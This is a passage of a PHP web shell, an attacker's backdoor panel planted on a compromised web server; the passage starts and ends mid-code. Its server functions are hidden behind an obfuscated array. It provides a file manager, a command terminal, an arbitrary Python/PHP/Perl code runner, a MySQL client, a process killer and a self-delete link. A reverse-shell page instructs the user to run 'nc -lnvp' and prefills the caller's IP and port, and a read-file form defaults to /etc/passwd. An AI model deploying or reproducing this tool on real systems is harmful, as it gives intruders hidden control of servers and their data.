    }
    .terminal-input .cemde{
      color:red;
      font-weight: bold;
      border:0;
    }
    .terminal-input input{
      vertical-align:middle;
    }
    .terminal{
      max-height:400px;
      overflow:auto}
    .right{
      float:right
    }
    .menu a{
      line-height: 40px;
      height: auto;
    }
    .curpo{
      cursor:pointer}
    .load{
      position:absolute;
      width:100%;
      height:100%;
    }
    .password-section{
      top:50%;
      left: 50%;
      transform: translate(-50%, -50%);
      position: absolute;
      text-align:center;
    }
    .password-section pre{
      padding: 10px;
      color:#fff;
      font-size: 16px;
      text-align:left;
    }
    .password-section span{
      color:#fff;
      font-size: 24px;
      text-align:left;
    }
    .additional input[type="text"]{
      width: auto;
    }
    .additional table{
      table-layout:fixed;
      width:100%;
    }
    .additional{
      border-top : 1px solid #2f89fc;
      margin-top:30px;
    }
    .additional td{
      padding:10px 0;
    }
    .additional td .title-td{
      display: block;
      padding:0 !important;
      margin-bottom: 10px;
      width:100%;
    }
    .additional form{
      height: auto;
      display: inline;
    }
    .additional input[type="submit"]{
      padding:8px !important;
      display: inline;
      height: 100%;
    }
    .ainfo table{
      table-layout:fixed;
      border-collapse:collapse;
    }
    .ainfo .v{
      word-wrap:break-word;
    }
    .ainfo .e{
      font-weight:bolder;
    }
    .ainfo td{
      border-bottom:1px solid rgb(47, 51, 54);
      padding:8px;

    }
    .ainfo .h td,.ainfo .h th, .ainfo h2, .ainfo h1{
      padding: 10px;
      background:#2f89fc;
      font-size:16px;
      color:black !important;
    }
    .ainfo .h td *, .ainfo .h th *, .ainfo h2 *, .ainfo h1 *{
      color:black !important;
    }
    .h h1{
      font-size:16px;
    }
    .multiple-select .header td{
      padding:10px 0;
    }
    .multiple-select td{
      text-align:left !important;
    }
    .multiple-select{
      padding:10px;
      border-bottom: 1px solid rgb(47, 51, 54);
    }
    .title-td{
      width:8%;
      padding-left:20px !important;
      font-weight:bold;
      color:#2f89fc;
    }
    .feature-tbl{
      width:auto !important;
      margin-left: auto;
      margin-right: auto;
      table-layout: auto;
    }
    #input-text, #output-text{
      width:100% !important;
    }
    .b{
      padding:2px 6px;margin-left:6px;
    }
    .fb{
      color:#1a202c;background:red;
    }
    .wb{
      color:#1a202c;background:yellow;
    }
    .sb{
      color:#1a202c;background:#32ff6a;
    }
    .lib{
      color:#fff;padding:6px 0;margin-right:6px
    }
    .info-file td{
      text-align:left !important;
      border:0 !important;
    }
    .mr{
      margin-right: 6px;
    }
    .header-bg{
    }
    .filendirInfo table, .filendirInfo .fileanddir tr{
      width:100%}
    .filendirInfo .fileanddir th{
      text-align:center;
      padding:20px;}
    .filendirInfo .fileanddir td{
      padding:10px;}
    .filendirInfo .fileanddir{
      }

    .filendirInfo .fileanddir tr:hover{
      background-color:#fff;
    }
    .filendirInfo .fileanddir tr:hover td *,
	.filendirInfo .fileanddir tr:hover td
	{
      color:black !important;
    }
	.filendirInfo .fileanddir tr:hover select,
	.filendirInfo .fileanddir tr:hover button,
	.filendirInfo .fileanddir tr:hover option
	{
	  color:white!important;
	}
	.filendirInfo .fileanddir tr:hover button:hover
	{
      background:#000 !important;
	  color: #fff !important;
	}
    .filendirInfo .fileanddir tr:hover td .wb,
	.filendirInfo .fileanddir tr:hover td .sb,
	.filendirInfo .fileanddir tr:hover .fb
	{
      background:#000 !important;
	  color: #fff !important;
    }
  </style>
  <body>
<?php   
    Main();
function Main(){
  HeaderContent();
  BodyContent();
  TerminalWindow();
  Footer();
}
function BodyContent(){
  global $WKWK;
  ?>
  <div class="body">
    <div class="main">
      <div class="box filendirInfo">
        <?php
        MSG();
        if(!isset($_GET['act']) && !isset($_GET['f'])){
          Title("File Manager");
          Explore();
        }
        if(isset($_GET['act'])){
          Action($_GET['act']);
        }
        if(isset($_GET['f'])){
          if(function_exists("feature".$_GET['f'])){
            ("feature".$_GET['f'])();
          }else{
            Title("404 :(");
          }
        }
        FooterTools();
        ?>
      </div>
    </div>
  </div>
<?php
}
function HeaderContent(){
  global $WKWK, $at; 
  ?>
    <div class="body header-bg black">
      <?php 
      ShortInfo();
      PathPage(); 
      ?>
    </div>
  <?php
  Menu();
}
function ShortInfo(){
  global $WKWK, $at;
  ?>
      <div class="box toolsandinfo">
        <table cellspacing=0>
          <tr>
            <td class="banner" rowspan="8">
              <pre>
 _______                                 __         ______   __                  __  __ 
|       \                               |  \       /      \ |  \                |  \|  \
| $$$$$$$\  ______   __    __  _______  | $$   __ |  $$$$$$\| $$____    ______  | $$| $$
| $$  | $$ /      \ |  \  |  \|       \ | $$  /  \| $$___\$$| $$    \  /      \ | $$| $$
| $$  | $$|  $$$$$$\| $$  | $$| $$$$$$$\| $$_/  $$ \$$    \ | $$$$$$$\|  $$$$$$\| $$| $$
| $$  | $$| $$   \$$| $$  | $$| $$  | $$| $$   $$  _\$$$$$$\| $$  | $$| $$    $$| $$| $$
| $$__/ $$| $$      | $$__/ $$| $$  | $$| $$$$$$\ |  \__| $$| $$  | $$| $$$$$$$$| $$| $$
| $$    $$| $$       \$$    $$| $$  | $$| $$  \$$\ \$$    $$| $$  | $$ \$$     \| $$| $$
 \$$$$$$$  \$$        \$$$$$$  \$$   \$$ \$$   \$$  \$$$$$$  \$$   \$$  \$$$$$$$ \$$ \$$
                                                                                        
<center> (c) localhost </center>
</pre>
            </td>
            <td class="title-td">kernel</td>
            <td> ⇒ </td>
            <td style="word-break:break-all;word-wrap:break-word"><?=$WKWK[54](); ?></td>
          </tr>
          <tr>
            <td class="title-td">disable function</td>
            <td> ⇒ </td>
            <td style="word-break:break-all;word-wrap:break-word"><?=(!empty($WKWK[55]('disable_functions'))) ? $WKWK[55]('disable_functions') : "NONE"; ?></td>
          </tr>
          <tr>
            <td class="title-td">whoami</td>
            <td> ⇒ </td>
            <td style="word-break:break-all;word-wrap:break-word"><?= get_current_user() ?> (uid=<?= getmyuid() ?> gid=<?= getmygid() ?>)</td>
          </tr>
          <tr>
            <td class="title-td">server ip</td>
            <td> ⇒ </td>
            <td ><span><?=$_SERVER["SERVER_ADDR"] ?></span><span class="title-td">your ip</span> ⇒ <span><?=$_SERVER["REMOTE_ADDR"] ?></span>
          </tr>
          <tr>
            <td class="title-td">software</td>
            <td> ⇒ </td>
            <td style="word-break:break-all;word-wrap:break-word"><?= $_SERVER["SERVER_SOFTWARE"] ?></td>
          </tr>
          <tr>
            <td class="title-td">hdd</td>
            <td> ⇒ </td>
            <td style="word-break:break-all;word-wrap:break-word"><?= Size($WKWK[59](empty($rn[0])?"/":$rn[0])) ?> / <?= Size($WKWK[60](empty($rn[0])?"/":$rn[0])) ?></td>
          </tr>
          <tr>
            <td class="title-td">lib</td>
            <td> ⇒ </td>
            <td>
              <span class='lib'>GCC<?=(Xute("gcc --help")) ? text("ON", "successb") : text("OFF", "failb") ?></span>
              <span class='lib'>WGET<?=(Xute("wget --help")) ? text("ON", "successb") : text("OFF", "failb") ?></span>
              <span class='lib'>cURL<?=(Xute("curl --help")) ? text("ON", "successb") : text("OFF", "failb") ?></span>
              <span class='lib'>PYTHON<?=(Xute("python -h")) ? text("ON", "successb") : text("OFF", "failb") ?></span>
              <span class='lib'>PERL<?=(Xute("perl --version")) ? text("ON", "successb") : text("OFF", "failb") ?></span>
            </td>
          </tr>
          <tr>
            <td class="title-td">drives</td>
            <td> ⇒ </td>
            <td style="word-break:break-all;word-wrap:break-word"><?= CheckDrives() ?></td>
          </tr>
        </table>
      </div>
  <?php
}
function PathPage(){
  global $rn;
  ?>
  <div class="box path">
  <?php
  for ($i = 0;$i < count($rn);$i++)
  {
      if ($rn[$i] == "" && $i == 0)
      {
          echo "<a class='state' href='?x=".Enx("/")."'>/ </a>";
          $path = "/";
          continue;
      }
      if ($rn[$i] == "")
      {
          continue;
      }
      $path = (empty($path)) ? "" : $path;
      $path = $path . $rn[$i] . "/";
      echo "<a class='state' href='?x=" . Enx($path) . "'>" . $rn[$i] . "</a>/";
  }
  echo "[ ".PermColor($path)." ] ";
  echo "
    <a class='button right' href='?sad=deleteme'>Self Delete</a>
    <a class='button right' href='?sad=out'>Log Out</a>
  ";
  ?>
  </div>
  <?php
}
function Explore(){
  global $WKWK, $at;
  $all = $WKWK[8]($at);
  echo "
  <div class='wrapper-dir'>
  <form autocomplete='off' method=\"post\" id=\"checkedF\">
  <table cellspacing=0 class='fileanddir'>
        <tr class='atas'>
          <th></th>
          <th class='filename'>Name</th>
          <th>Size</th>
          <th>Lastmod</th>
          <th>Perm</th>
          <th>Owner:Group</th>
          <th>Action</th>
        </tr>";
  foreach ($all as $su){
      if ($su == '.' || $su == '..') continue;
      if ($WKWK[28]($at . $su)) {
        echo "
        <tr>
          <td><input class='checkboxDark' type=\"checkbox\" name=\"path_dir[]\" value=\"" . htmlspecialchars($at . $su."/") . "\"></td>
          <td class='filename'><a href='?x=" . Enx($at . $su."/") . "'><i class=\"fas fa-folder\" style='margin-right:6px'></i>" . $su . "</a></td>
  <td>-</td>
<td>" . lastmod($at . $su) . "</td>
          <td>".PermColor($at . $su )."</td>
          <td>".OG($at . $su)."</td>
          <td>
          <form method='post'>
          <select name='file_action' class='selectAct'>
            <option data-param='goto' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=rename'>rename</option>
            <option data-param='goto' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=chmod'>chmod</option>
            <option data-param='copy' value='". $at . $su."/" ."'>copy</option>
            <option data-param='goto' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=touch'>touch</option>
            <option data-param='move' value='". $at . $su ."'>move</option>
            <option data-param='delete' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=del' data-filename='".$su."'>delete</option>
          </select>
          <button type='submit' class='actSubmit'>>></button>
          </form>
          </td>
        </tr>";
      }
  }
  foreach ($all as $su){
    global $WKWK, $at;
    if ($WKWK[29]($at . $su)) {
      echo "
      <tr>
        <td><input class='checkboxDark' type=\"checkbox\" name=\"path_dir[]\" value=\"" . htmlspecialchars($at . $su) . "\"></td>
        <td class='filename'><a href='?x=" . Enx($at) . "&y=".Enx($su)."&act=read'><i class=\"fas fa-file\" style='margin-right:6px'> </i>" . $su . "</a></td>
        <td>" . Size($WKWK[61]($at . $su)) . "</td>
        <td>" . lastmod($at . $su) . "</td>
        <td><a>".PermColor($at . $su)."</a></td>
        <td>".OG($at . $su)."</td>
          <td>
          <form method='post'>
          <select name='file_action' class='selectAct'>
            <option data-param='goto' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=rename'>rename</option>
            <option data-param='goto' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=chmod'>chmod</option>
            <option data-param='goto' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=edit'>edit</option>
            <option data-param='delete' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=del' data-filename='".$su."'>delete</option>
            <option data-param='download' value='" .$at . $su  . "'>download</option>
            <option data-param='goto' value='?x=" . Enx($at) . "&y=".Enx($su)."&act=touch'>touch</option>
            <option data-param='copy' value='" . $at . $su . "'>copy</option>
            <option data-param='move' value='" . $at . $su . "'>move</option>
          </select>
          <button type='submit' class='actSubmit'>>></button>
          </form>
          </td>
        </tr>
      </tr>";
    };
  }
  echo "</table></form>";
  if(isset($_POST["act"])){
    if($_POST["act"] == "delete"){
      if (isset($_POST["path_dir"])) {
        if($_POST["path_dir"]){
          $pathFilesHTML = "";
          foreach ($_POST["path_dir"] as $key => $value) {
            $pathFilesHTML .= Delete($value)."<br>";
          }
          Status("Selected Files Status", $pathFilesHTML);
        }
      }
    }
    if($_POST["act"] == "paste"){
      if(!empty($_SESSION["copy"])){
        foreach($_SESSION["copy"] as $path_dir){
          CopyFile($path_dir, $at);
          $pathFilesHTML .= $path_dir."<br>";
        }
        Status("Pasted File/Folder",$pathFilesHTML);
        unset($_SESSION["copy"]);
      }
      if(!empty($_SESSION["move"])){
        foreach($_SESSION["move"] as $path_dir){
          CopyFile($path_dir, $at);
          Delete($path_dir);
          $pathFilesHTML .= $path_dir."<br>";
        }
        Status("Moved File/Folder",$pathFilesHTML);
        unset($_SESSION["move"]);
      }
    }
    if($_POST["act"] == "pastef"){
      if(!empty($_SESSION["copy"])){
        foreach($_SESSION["copy"] as $path_dir){
          CopyFile($path_dir, $_POST["path"]);
          $pathFilesHTML .= $path_dir."<br>";
        }
        Status("Pasted File/Folder",$pathFilesHTML);
        unset($_SESSION["copy"]);
      }
      if(!empty($_SESSION["move"])){
        foreach($_SESSION["move"] as $path_dir){
          CopyFile($path_dir, $_POST["path"]);
          Delete($path_dir);
          $pathFilesHTML .= $path_dir."<br>";
        }
        Status("Moved File/Folder",$pathFilesHTML);
        unset($_SESSION["move"]);
      }
    }
    if($_POST["act"] == "copy"){
      if(!empty($_SESSION["move"])) unset($_SESSION["move"]);
      $_SESSION["copy"] = $_POST["path_dir"];
    }
    if($_POST["act"] == "move"){
      if(!empty($_SESSION["copy"])) unset($_SESSION["copy"]);
      $_SESSION["move"] = $_POST["path_dir"];
    }
  }
printf('
<table class="multiple-select">
<tr>
  <td>Actions</td>
  <td>
    <form autocomplete=\'off\' method="post" id="actionForm">
      <select name="act">
%s
<option value="delete">DELETE
        </option>
        <option value="copy">COPY
        </option>
        <option value="move">MOVE
        </option>
      </select>
      <input type="submit" id="submitAct" value="EXECUTE!">
    </form>
  </td>
</tr>
</table></div>', ((!empty($_SESSION["copy"]) || !empty($_SESSION["move"])) ? '<option value="paste">PASTE</option>' : ""));
}
function Menu(){
  global $at;
  ?>
  <div class="feature">
    <div class="menu">
      <ul>
        <li>
          <a class='state' href='<?= $_SERVER["PHP_SELF"] ?>'>Home</a>
        </li>
        <li>
          <a class='state' href='?x=<?=Enx($at)?>'>Explore</a>
        </li>
        <li>
          <a id="toolsbutt" href="#" class="curpo">Tools</a>
        </li>
        <ul id="tools"  style="display:flex">
          <li>
            <a class='state' href="?x=<?=Enx($at)?>&f=hash">Hash</a>
          </li>
          <li>
            <a class='state' href="?x=<?=Enx($at)?>&f=ende">Encode/Decode</a>
          </li>
        </ul>
        <li>
          <a class='state' href="#" id="terminal-show">Terminal</a>
        </li>
        <li>
          <a class='state' href="?x=<?=Enx($at)?>&f=bc">Reverse Shell</a>
        </li>
        <li>
          <a class='state' href="?x=<?=Enx($at)?>&f=mysql">Mysql</a>
        </li>
        <li>
          <a class='state' href="?x=<?=Enx($at)?>&f=runcode">Run Code</a>
        </li>
        <li>
          <a class='state' href="?x=<?=Enx($at)?>&f=allinfo">phpinfo</a>
        </li>
        <li>
          <a class='state' href="?x=<?=Enx($at)?>&f=process">Process</a>
        </li>
      </ul>
    </div>
</div>
  <?php
}
function Upload(){
  global $WKWK, $at;
  if(isset($_FILES['upya']))
  {
    if(@$WKWK[43]($_FILES['upya']['tmp_name'], $_FILES['upya']['name']))
    {
      Status("Status",$_FILES['upya']['name']." Uploaded in this dir!!!");
    }
    else
    {
      Status("Status");
      Status($_FILES['upya']['name']." Can't Upload :( try other dir");
    }
  }
}
function featureruncode(){
  Title("Run Code");
  echo '
  <div class="runcodeWrapper">
    <div class="content-runcode">
        <table class="featureForm runcode active-tab">
          <tr>
            <td>Code</td>
            <td>Output</td>
          </tr>
          <tr>
            <td></td>
            <td>
              <select class="lang-select">
                <option value="python">Python</option>
                <option value="php">PHP</option>
                <option value="perl">Perl</option>
              </select>
              <button name="run" id="exec"><i class="fas fa-play"></i> RUN!</button></form>
            </td>
          </tr>
          <tr>
            <td>
              <textarea name="code" id="code" style="height:500px"></textarea>
            </td>
            <td>
              <textarea style="height:500px" readonly id="runcode-output"></textarea>
            </td>
          </tr>
        </table>
    </div>
  </div>';
}
function featurebc(){
  Title("Reverse Shell");
  printf('
            <div class="bc">
              <center>
                <p>run nc -lnvp {your port} in your terminal before clicking REVERSE IT</p>
                <br>
                <form autocomplete=\'off\' method="POST" class="featureForm">
                  <select name="lang" id="lang">
                    <option value="php">PHP
                    </option>
                    <option value="perl">Perl
                    </option>
                    <option value="python">Python
                    </option>
                  </select>
                  <input type="text" name="ipport" id="ipport" value="%s">
                  <button type="submit" id="reverse">REVERSE IT!
                  </button>
                </form>
                <span id="bc-msg"></span>
              </center>
            </div>', $_SERVER["REMOTE_ADDR"].":666" );
}
function featureprocess(){
  global $WKWK, $at;
  Title("Process");
  echo "
  <table class=\"feature-tbl\">
  ";
  if(isset($_POST['kill'])){
    echo "<tr><td>";
    if(Kill($_POST['pid'])){
      echo $_POST['pid']." Killed";
    }else{
      echo "Something Wrong";
    }
    echo "</td></tr>";
  }
  echo "
  <tr>
  <td>
  <form method='post'>
  <input type='text' name='pid' value='PID'>
  <input type='submit' name='kill' value='kill'>
  </form>
  </td>
  </tr>
  <tr>
  <td>
  <pre>".((IsWin()) ? Xute("tasklist") : Xute("ps aux"))."</pre>
  </td>
  </tr>
  </table>";
}
function featureallinfo(){
  Title("All Info");
  global $WKWK, $at;
  $i = Epal("phpinfo();");
  $i = $WKWK[18]("/<body>(.*?)<\/body>/is", $i, $m);
  $i = $m[1];
  $i = $WKWK[37]('/<a href="http:\/\/www.php.net\/">(.*?)<\/a>/', "", $i);
  $i = $WKWK[37]('/<a href="http:\/\/www.zend.com\/">(.*?)<\/a>/', "", $i);
  echo "<div class='ainfo'>";
  echo $i;
  echo "</div>";
}
function featureende(){
  global $WKWK, $at;
  Title("Encode/Decode");
  echo "
  <table>
  <tr>
    <td>
     <table>
      <tr>
        <td>LIBRARY</td>
        <td>:</td>
        <td>
  <select id='encode-decode-lib'>
    <option value='b64'>BASE64</option>
    <option value='hex'>HEX</option>
    <option value='rot13'>STR_ROT13</option>
    <option value='url'>URL ENCODE/DECODE</option>
  </select>
  </td>
      </tr>
      <section id='options'>
      <tr>
        <td>ENCODE/DECODE</td>
        <td>:</td>
        <td>
        <select id='encode-decode' class='open'>
          <option value='encode'>ENCODE</option>
          <option value='decode'>DECODE</option>
        </select>
        </td>
      </tr>
      </section>
      <tr><td></td><td></td><td><button id='convert'>>></button></td></tr>
      </table>
    </td>
    <td>
      <textarea id='input-text'>INPUT</textarea>
      <textarea id='output-text'>OUTPUT</textarea>
    </td>
  </tr>
  </table>
  ";
}
function featurehash(){
  global $WKWK, $at;
  Title("Hash");
  echo "
  <table class=\"feature-tbl\">
    <tr>
      <td>
        <select id='algos'>
        ";
        $algos = $WKWK[62]();
        foreach($algos as $key => $algo){
          echo "<option value='".$algo."'>".strToUpper($algo)."</option>";
        }
        echo "
        </select>
      </td>
      <td>
        <input type='text' id='unhash-text' value='password'>
      </td>
      <td>
        <input type='submit' id='hashthat' value='GO!'>
      </td>
    </tr>
    </table>
    <pre id='hash-output' style='margin:10px;'></pre>
  ";
}
function TerminalWindow(){
  global $WKWK, $at;
  echo '
  <div class="blackout" style="display:none">
    <div class="windows">
      <div class="menu-window" style="border-radius:20px 20px 0 0;display:inline-block;width:100%;text-align:center;height:auto;">
        <div style="float:right">
          <a href="#" class="curpo" id="clear" style="display: inline-block;line-height: 40px;padding: 0 20px;color:#fff !important;">CLEAR</a>
    <a href="#" class="curpo" id="hide" style="display: inline-block;line-height: 20px;padding: 0 5px;margin-right:10px;background:red;border-radius:50%"><i class="fas fa-times"></i></a>
        </div>
      </div>
      <div id="terminal-wrapper" style="height:calc(100% - 40px);overflow:auto;padding:10px;position:relative;">
<pre id="output">
</pre>
<div class="terminal-input"><pre><div class="row" style="padding:0!important">
<div class="col-0"><span id="input_cmdnya"><a style="color:red">Loading...</a> </span>
</div>
<div class="col-auto"><input type="text" id="cmd" autocomplete="off" placeholder="command here [then enter]" name="cmd" value="">
</div>
</div>
</pre>
</div>
      </div>
    </div>
  </div>
  ';
}
function Title($x){
  echo "<div class='f-title'><h1><span>".$x."</span></h1></div>";
}
function HeaderAction($at, $xyz)
{
  global $WKWK;
  $html = '
  <tr class="namefile_act">
    <td>
      <table class="info-file" border="0" cellspacing="0">
        <tr>
        <td>Filename</td>
        <td>:</td>
        <td>'.$xyz.'</td>
        </tr>
        <tr>
        <td>Path</td>
        <td>:</td>
        <td>'.$at.$xyz.'</td>
        </tr>
        <tr>
        <td>Perm</td>
        <td>:</td>
        <td>'.PermColor($at.$xyz).'</td>
        </tr>
        <tr>
        <td>Last Mod</td>
        <td>:</td>
        <td>'.lastmod($at.$xyz).'</td>
        </tr>
      </table>
    </td>
  </tr>
  ';
  $html .= '<tr >';
  $html .= '<td class="actionfile"  style="padding:10px">';
  $html .= '<a class="button '.(($_GET["act"] == "chmod") ? "active" : "").'" href="?x='.Enx($at).'&y='.Enx($xyz).'&act=chmod">Chmod</a>';
  $html .= '<a class="button '.(($_GET["act"] == "rename") ? "active" : "").'" href="?x='.Enx($at).'&y='.Enx($xyz).'&act=rename">Rename</a>';
  $html .= '<a class="button '.(($_GET["act"] == "del") ? "active" : "").'" href="?x='.Enx($at).'&y='.Enx($xyz).'&act=del">Delete</a>';
  $html .= '<a class="button '.(($_GET["act"] == "touch") ? "active" : "").'" href="?x='.Enx($at).'&y='.Enx($xyz).'&act=touch">Touch</a>';
  if(!$WKWK[28]($at.$xyz)){
    $html .= '<a class="button '.(($_GET["act"] == "edit") ? "active" : "").'" href="?x='.Enx($at).'&y='.Enx($xyz).'&act=edit">Edit</a>';
  }
  $html .= '</td>';
  $html .= '</tr>';
  return $html;
}
function FooterTools(){
	global $WKWK, $at;
        $s = "";
        if(!isset($_GET["f"])&&!isset($_GET["act"])){
          $s = '
            <td>
              <span class="title-td">Search File ⮧</span>
              <form autocomplete=\'off\' method="post">
                <input type="hidden" id="path" value="%s">
                <input type="text" name="searchfile" id="searchbox" value="file.php">
                <input type="submit" id="search" name="" value="SEARCH!">
              </form>
            </td>
          ';
        }
	      printf('<div class="box additional">
            <table>
              <tr>
                <td>
                  <span class="title-td">Create File ⮧</span>
                  <form autocomplete=\'off\' method="post">
                    <input type="text" name="foldername">
                    <input type="submit" name="cr8folder" value=">>">
                  </form>
                </td>
                <td>
                  <span class="title-td">Change Dir ⮧</span>
                  <form autocomplete=\'off\' method="post">
                    <input type="text" name="goto" value="/home/skuy/public_html/">
                    <input type="submit" name="cdir" value=">>">
                  </form>
                </td>
                <td>
                  <span class="title-td">Read File ⮧</span>
                  <form autocomplete=\'off\' method="post">
                    <input type="text" name="path" value="/etc/passwd">
                    <input type="submit" name="read" value=">>">
                  </form>
                </td>
              </tr>
              <tr>
                <td>
                  <span class="title-td">Create File ⮧</span>
                  <form autocomplete=\'off\' method="post">
                      <input type="text" name="filename">
                      <input type="submit" name="cr8file" value=">>">
                  </form>
                </td>
                '.$s.'
                <td>
                <span class="title-td">Uploader ⮧</span>
                <form autocomplete=\'off\' method="post" enctype="multipart/form-data">
                  <div style="margin-bottom:10px;"><input type="text" name="upload-path" value="%s" style="width:100%%" /></div>
                  <input name="upnya[]" id="uploader" type=\'file\' multiple="multiple"/>
                  <input style="float:right" type="submit" name="upload" value=">>" />
                </form>
                </td>
              </tr>
            </table>
          </div>',$at,$at);
        if(isset($_POST["cr8folder"])){
          $name=$_POST["foldername"];
          $handler=$WKWK[40]($name, 0777);
          if($handler){
            Status("Status", "Folder created!!");
            header("Location:".$_SERVER["REQUEST_URI"]);
          }else{
            Status("Status", "Can't create folder :(");
            header("Location:".$_SERVER["REQUEST_URI"]);
          }
        }
        if(isset($_POST["upload"])){
          $upath=$_POST["upload-path"];
          $indexs=count($_FILES["upnya"]["name"]);
          $err = 0;
          for ($i=0; $i < $indexs; $i++) { 
            $tmp = $_FILES["upnya"]["tmp_name"][$i];
            if(!empty($tmp)){
              $uplodpath=$upath."/".$_FILES["upnya"]["name"][$i];
              if(!$WKWK[43]($tmp, $uplodpath)) $err++;
            }
          }
          if($err == 0){
            Status("Msg", "Files Uploaded");
            header("Location:".$_SERVER["REQUEST_URI"]);
          }else{
            Status("Msg", "Can't Upload Files");
            header("Location:".$_SERVER["REQUEST_URI"]);
          }
        }
        if(isset($_POST["cr8file"])){
          $filename=$_POST["filename"];
          $handler = $WKWK[12]($filename, "w");
          if(!$handler){
            Status("Status", "Can't create file :(");
            header("Location:".$_SERVER["REQUEST_URI"]);
          }else{
            $WKWK[14]($handler);
            header("Location:?x=".Enx($at)."&y=".Enx($filename)."&act=edit");
          }
        }
        if (isset($_POST["read"])){
          $path  = $_POST["path"];
          header("Location:?x=".Enx($WKWK[57]($path)."/")."&y=".Enx($WKWK[0]($path))."&act=read");
        }
        if (isset($_POST["cdir"])){
          $path  = $_POST["goto"];
          if (!$WKWK[18]("/\\\|\//", substr($path, -1))) {
            $path  = $_POST["goto"]."/";
          }
          header("Location: ?x=".Enx($path));
        }
}
function featureMysql(){
  global $WKWK, $at, $conn;
  Title("MySQL");
	 if(@empty($_SESSION["mysql"])){
      echo '
      <form autocomplete=\'off\' class="featureForm" method="post">
        <table class="feature-tbl">
          <tr>
            <td>server</td>
            <td>:</td>
            <td>
              <input type="text" name="server" value="localhost">
            </td>
          </tr>
          <tr>
            <td>port</td>
            <td>:</td>
            <td>
              <input type="text" name="port" value="">
            </td>
          </tr>
          <tr>
            <td>user</td>
            <td>:</td>
            <td>
              <input type="text" name="username" value="">
            </td>
          </tr>
          <tr>
            <td>database</td>
            <td>:</td>
            <td>
              <input type="text" name="database" value="">
            </td>
          </tr>
          <tr>
            <td>pw</td>
            <td>:</td>
            <td>
              <input type="text" name="pwd" value="">
            </td>
          </tr>
          <tr>
            <td></td><td></td>
            <td>
              <input type="submit" name="connect" value="CONNECT!">
            </td>
          </tr>
        </table>
      </form>';
      if(isset($_POST["connect"])){
        $server=$_POST["server"];
        $uname=$_POST["username"];
        $pwd=$_POST["pwd"];
        $port=(empty($_POST["port"])) ? "3306" : $_POST["port"];
        $database=$_POST["database"];
        $testconn = new mysqli($server.":".$port, $uname, $pwd, $database);
        if($testconn->connect_errno){
          echo "Cant connect :(";
        }else{
          $_SESSION["mysql"]["server"]=$server.":".$port;
          $_SESSION["mysql"]["username"]=$uname;
          $_SESSION["mysql"]["pwd"]=$pwd;
          $_SESSION["mysql"]["database"]=$database;
          echo "CONNECTED";
          header("Location: ?f=mysql");
        }
      }
    }else{
	 echo '
      <div class="righty">
            <div class="row">
              <div class="col-auto">
                Databases
              </div>
            </div>
            <div class="row">
              <div class="col-auto">';
                if(isset($_POST["dbses"])){
                  $_SESSION["mysql"]["database"] = AjaxDec($_POST["dbses"]);
                  header("Location:".$_SERVER['REQUEST_URI']);
                }
                $res = $conn->query("show databases;");
                while ($row = $res->fetch_assoc()) {
                  echo "<a class='mr dbses curpo bor' style='padding:6px 8px' data-val='".$row["Database"]."'>";
                  if($row["Database"] == @$_SESSION["mysql"]["database"]){
                    echo "<span style='color:#32ff6a'>".$row["Database"]."</span>";
                  }else{
                    echo $row["Database"];
                  }
                  echo "</a>";
                }
              echo '
              </div>
            </div>
            <div class="row">
              <div class="col-auto">
                <textarea id="query" >
show databases;
show tables;
select * from [database].[table];
				</textarea>
                <form method="post">
                  <input type="submit" id="submitQuery" value="execute!">
                  <input type="submit" name="out" value="logout">
                </form>
              </div>
            </div>
            <div class="row">
              <div class="col-auto">
                <div id="mysqlOutput">
                </div>
              </div>
            </div>
      </div>';
      if (isset($_POST["out"])) {
        unset($_SESSION["mysql"]["server"]);
        unset($_SESSION["mysql"]["username"]);
        unset($_SESSION["mysql"]["pwd"]);
        unset($_SESSION["mysql"]["database"]);
        header("Location: ?f=mysql");
      }
    }
}
function Action($act){
global $WKWK, $at;
    switch ($act) {
      case 'touch':
        printf('
        <table class="act">
          %s
          <tr>
            <td>
              <form autocomplete="off" method="post">
                  <input type="text" name="time" value="%s">
                  <input type="submit" name="touch" value="TOUCH">
              </form>
            </td>
          </tr>
        </table>', HeaderAction($at, Dex($_GET["y"])),lastmod($at.Dex($_GET["y"]))
        );
        if(isset($_POST["touch"])){
          if(Sentuh($at.Dex($_GET["y"]),$_POST["time"])){
            Status("Status", "File Touched!!!");
            header("Location:".$_SERVER['REQUEST_URI']);
          }else{
            Status("Status", "Something Wrong?!?!?!");
            header("Location:".$_SERVER['REQUEST_URI']);
          }
        }
      break;
      case 'chmod':
      printf('
      <table class="act">
        %s
        <tr>
          <td>
            <form autocomplete=\'off\'  method="post">
              <input type="text" name="perm" value="%s">
              <input type="submit" name="changemod" value="EXECUTE!">
            </form>
          </td>
        </tr>
      </table>', HeaderAction($at, Dex($_GET["y"])),substr(sprintf('%o', $WKWK[17]($at.Dex($_GET["y"]))),-4)
      );
      if(isset($_POST["changemod"])){
        if($WKWK[7]($at.Dex($_GET["y"]),Perm($_POST["perm"]))){
            Status("Status", "Wow chmod success!!!");
            header("Location:".$_SERVER['REQUEST_URI']);
        }else{
            Status("Status", "Failed to chmod :(");
            header("Location:".$_SERVER['REQUEST_URI']);
        }
      }
    break;
    case 'del':
      if (isset($_GET["y"])) {
        $msg = Delete($at.Dex($_GET["y"]));
          Status("Status", $msg);
          header("Location:".$_SERVER["PHP_SELF"]."?x=".Enx($at));
      }
    break;
    case 'edit':
      printf('
      <table class="act">
        %s
        <tr>
          <td>
            <form autocomplete="off" method="post">
              <input type="hidden" id="path-edit" value="%s">
              <textarea name="content" id="content-edit" style="height:400px">%s</textarea>
              <input type="submit" name="edit" id="save" value="SAVE!">
              <span id="msg-edit"></span>
            </form>
          </td>
        </tr>
      </table>', HeaderAction($at, Dex($_GET["y"])),$at.Dex($_GET["y"]),Read($at.Dex($_GET["y"])));
    break;
    case 'rename':
      printf('
      <table class="act">
        %s
        <tr>
          <td>
            <form autocomplete=\'off\' method="post">
              <input type="text" name="rname" value="%s">
              <input type="submit" name="rename" value="GO!">
            </form>
          </td>
        </tr>
      </table>', HeaderAction($at, Dex($_GET["y"])),Dex($_GET["y"]));
      if(isset($_POST["rename"])){
        if($WKWK[42]($at.Dex($_GET["y"]), $at.$_POST["rname"])){
          Status("Status", "Success rename a file/folder");
